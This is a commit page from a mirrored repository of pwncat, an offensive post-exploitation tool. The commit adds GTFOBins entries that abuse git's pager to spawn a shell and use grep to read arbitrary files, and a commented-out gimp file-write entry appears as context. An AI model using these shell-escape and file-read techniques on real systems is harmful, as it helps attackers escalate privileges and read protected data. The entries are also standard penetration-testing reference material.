1
0
mirror of https://github.com/calebstewart/pwncat.git synced 2024-11-24 01:25:37 +01:00

Added git and grep as GTFOBins

This commit is contained in:
John Hammond 2020-05-20 23:55:15 -04:00
parent bcb4624bfc
commit 76f83ea076

View File

@ -839,6 +839,25 @@
// "args": ["-idf", "--batch-interpreter=python-fu-eval", "-b", "'exec(\"\"\"import sys,base64\\nwith open(\"{lfile}\",\"wb\") as f:\\n\\tfor chunk in iter(lambda: sys.stdin.read(4), b\"\"):\\n\\t\\tf.write(base64.b64decode(chunk))\"\"\")\\ngimp.exit()'"] // "args": ["-idf", "--batch-interpreter=python-fu-eval", "-b", "'exec(\"\"\"import sys,base64\\nwith open(\"{lfile}\",\"wb\") as f:\\n\\tfor chunk in iter(lambda: sys.stdin.read(4), b\"\"):\\n\\t\\tf.write(base64.b64decode(chunk))\"\"\")\\ngimp.exit()'"]
// } // }
], ],
//-------------------------------------------------------------------
"git": [
{
"type": "shell",
"payload": "{command}",
"args": ["help", "config"],
"input": "!{shell}\n",
"exit": "exit\nq\n"
}
],
//-------------------------------------------------------------------
"grep": [
{
"type": "read",
"stream":"print",
"payload": "{command}",
"args": ["''", "{lfile}"]
}
],